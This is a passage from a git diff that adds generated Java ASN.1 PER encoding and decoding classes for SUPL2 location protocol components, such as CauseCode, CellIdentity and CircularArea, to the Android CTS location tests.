+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "report_positionType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class report_measurementsType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_report_measurementsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public report_measurementsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_report_measurementsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_report_measurementsType != null) {
+ return ImmutableList.of(TAG_report_measurementsType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new report_measurementsType from encoded stream.
+ */
+ public static report_measurementsType fromPerUnaligned(byte[] encodedBytes) {
+ report_measurementsType result = new report_measurementsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new report_measurementsType from encoded stream.
+ */
+ public static report_measurementsType fromPerAligned(byte[] encodedBytes) {
+ report_measurementsType result = new report_measurementsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "report_measurementsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class max_num_positionsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_max_num_positionsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public max_num_positionsType() {
+ super();
+ setValueRange("1", "1024");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_max_num_positionsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_max_num_positionsType != null) {
+ return ImmutableList.of(TAG_max_num_positionsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new max_num_positionsType from encoded stream.
+ */
+ public static max_num_positionsType fromPerUnaligned(byte[] encodedBytes) {
+ max_num_positionsType result = new max_num_positionsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new max_num_positionsType from encoded stream.
+ */
+ public static max_num_positionsType fromPerAligned(byte[] encodedBytes) {
+ max_num_positionsType result = new max_num_positionsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "max_num_positionsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class max_num_measurementsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_max_num_measurementsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public max_num_measurementsType() {
+ super();
+ setValueRange("1", "1024");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_max_num_measurementsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_max_num_measurementsType != null) {
+ return ImmutableList.of(TAG_max_num_measurementsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new max_num_measurementsType from encoded stream.
+ */
+ public static max_num_measurementsType fromPerUnaligned(byte[] encodedBytes) {
+ max_num_measurementsType result = new max_num_measurementsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new max_num_measurementsType from encoded stream.
+ */
+ public static max_num_measurementsType fromPerAligned(byte[] encodedBytes) {
+ max_num_measurementsType result = new max_num_measurementsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "max_num_measurementsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("BatchRepCap = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java
new file mode 100755
index 0000000..b4a5016
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CauseCode.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CauseCode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ servingNetWorkNotInAreaIdList(0),
+ sETCapabilitiesChanged(1),
+ noSUPLCoverage(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_CauseCode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CauseCode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CauseCode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CauseCode != null) {
+ return ImmutableList.of(TAG_CauseCode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new CauseCode from encoded stream.
+ */
+ public static CauseCode fromPerUnaligned(byte[] encodedBytes) {
+ CauseCode result = new CauseCode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CauseCode from encoded stream.
+ */
+ public static CauseCode fromPerAligned(byte[] encodedBytes) {
+ CauseCode result = new CauseCode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CauseCode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
new file mode 100755
index 0000000..3ce2cef
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellGlobalIdEUTRA.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CellGlobalIdEUTRA extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CellGlobalIdEUTRA
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellGlobalIdEUTRA() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellGlobalIdEUTRA;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellGlobalIdEUTRA != null) {
+ return ImmutableList.of(TAG_CellGlobalIdEUTRA);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellGlobalIdEUTRA from encoded stream.
+ */
+ public static CellGlobalIdEUTRA fromPerUnaligned(byte[] encodedBytes) {
+ CellGlobalIdEUTRA result = new CellGlobalIdEUTRA();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellGlobalIdEUTRA from encoded stream.
+ */
+ public static CellGlobalIdEUTRA fromPerAligned(byte[] encodedBytes) {
+ CellGlobalIdEUTRA result = new CellGlobalIdEUTRA();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PLMN_Identity plmn_Identity_;
+ public PLMN_Identity getPlmn_Identity() {
+ return plmn_Identity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PLMN_Identity
+ */
+ public void setPlmn_Identity(Asn1Object value) {
+ this.plmn_Identity_ = (PLMN_Identity) value;
+ }
+ public PLMN_Identity setPlmn_IdentityToNewInstance() {
+ plmn_Identity_ = new PLMN_Identity();
+ return plmn_Identity_;
+ }
+
+ private CellIdentity cellIdentity_;
+ public CellIdentity getCellIdentity() {
+ return cellIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellIdentity
+ */
+ public void setCellIdentity(Asn1Object value) {
+ this.cellIdentity_ = (CellIdentity) value;
+ }
+ public CellIdentity setCellIdentityToNewInstance() {
+ cellIdentity_ = new CellIdentity();
+ return cellIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPlmn_Identity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPlmn_Identity();
+ }
+
+ @Override public void setToNewInstance() {
+ setPlmn_IdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PLMN_Identity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "plmn_Identity : "
+ + getPlmn_Identity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellIdentity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellIdentity : "
+ + getCellIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CellGlobalIdEUTRA = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java
new file mode 100755
index 0000000..83171fd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CellIdentity.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class CellIdentity extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_CellIdentity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CellIdentity() {
+ super();
+ setMinSize(28);
+setMaxSize(28);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CellIdentity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellIdentity != null) {
+ return ImmutableList.of(TAG_CellIdentity);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellIdentity from encoded stream.
+ */
+ public static CellIdentity fromPerUnaligned(byte[] encodedBytes) {
+ CellIdentity result = new CellIdentity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellIdentity from encoded stream.
+ */
+ public static CellIdentity fromPerAligned(byte[] encodedBytes) {
+ CellIdentity result = new CellIdentity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "CellIdentity = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java
new file mode 100755
index 0000000..8c2ee91
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/CircularArea.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CircularArea extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CircularArea
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CircularArea() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CircularArea;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CircularArea != null) {
+ return ImmutableList.of(TAG_CircularArea);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CircularArea from encoded stream.
+ */
+ public static CircularArea fromPerUnaligned(byte[] encodedBytes) {
+ CircularArea result = new CircularArea();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CircularArea from encoded stream.
+ */
+ public static CircularArea fromPerAligned(byte[] encodedBytes) {
+ CircularArea result = new CircularArea();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Coordinate coordinate_;
+ public Coordinate getCoordinate() {
+ return coordinate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Coordinate
+ */
+ public void setCoordinate(Asn1Object value) {
+ this.coordinate_ = (Coordinate) value;
+ }
+ public Coordinate setCoordinateToNewInstance() {
+ coordinate_ = new Coordinate();
+ return coordinate_;
+ }
+
+ private CircularArea.radiusType radius_;
+ public CircularArea.radiusType getRadius() {
+ return radius_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CircularArea.radiusType
+ */
+ public void setRadius(Asn1Object value) {
+ this.radius_ = (CircularArea.radiusType) value;
+ }
+ public CircularArea.radiusType setRadiusToNewInstance() {
+ radius_ = new CircularArea.radiusType();
+ return radius_;
+ }
+
+ private CircularArea.radius_minType radius_min_;
+ public CircularArea.radius_minType getRadius_min() {
+ return radius_min_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CircularArea.radius_minType
+ */
+ public void setRadius_min(Asn1Object value) {
+ this.radius_min_ = (CircularArea.radius_minType) value;
+ }
+ public CircularArea.radius_minType setRadius_minToNewInstance() {
+ radius_min_ = new CircularArea.radius_minType();
+ return radius_min_;
+ }
+
+ private CircularArea.radius_maxType radius_max_;
+ public CircularArea.radius_maxType getRadius_max() {
+ return radius_max_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CircularArea.radius_maxType
+ */
+ public void setRadius_max(Asn1Object value) {
+ this.radius_max_ = (CircularArea.radius_maxType) value;
+ }
+ public CircularArea.radius_maxType setRadius_maxToNewInstance() {
+ radius_max_ = new CircularArea.radius_maxType();
+ return radius_max_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCoordinate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCoordinate();
+ }
+
+ @Override public void setToNewInstance() {
+ setCoordinateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Coordinate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "coordinate : "
+ + getCoordinate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRadius() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRadius();
+ }
+
+ @Override public void setToNewInstance() {
+ setRadiusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CircularArea.radiusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "radius : "
+ + getRadius().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRadius_min() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRadius_min();
+ }
+
+ @Override public void setToNewInstance() {
+ setRadius_minToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CircularArea.radius_minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "radius_min : "
+ + getRadius_min().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRadius_max() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRadius_max();
+ }
+
+ @Override public void setToNewInstance() {
+ setRadius_maxToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CircularArea.radius_maxType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "radius_max : "
+ + getRadius_max().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class radiusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_radiusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public radiusType() {
+ super();
+ setValueRange("1", "1000000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_radiusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_radiusType != null) {
+ return ImmutableList.of(TAG_radiusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new radiusType from encoded stream.
+ */
+ public static radiusType fromPerUnaligned(byte[] encodedBytes) {
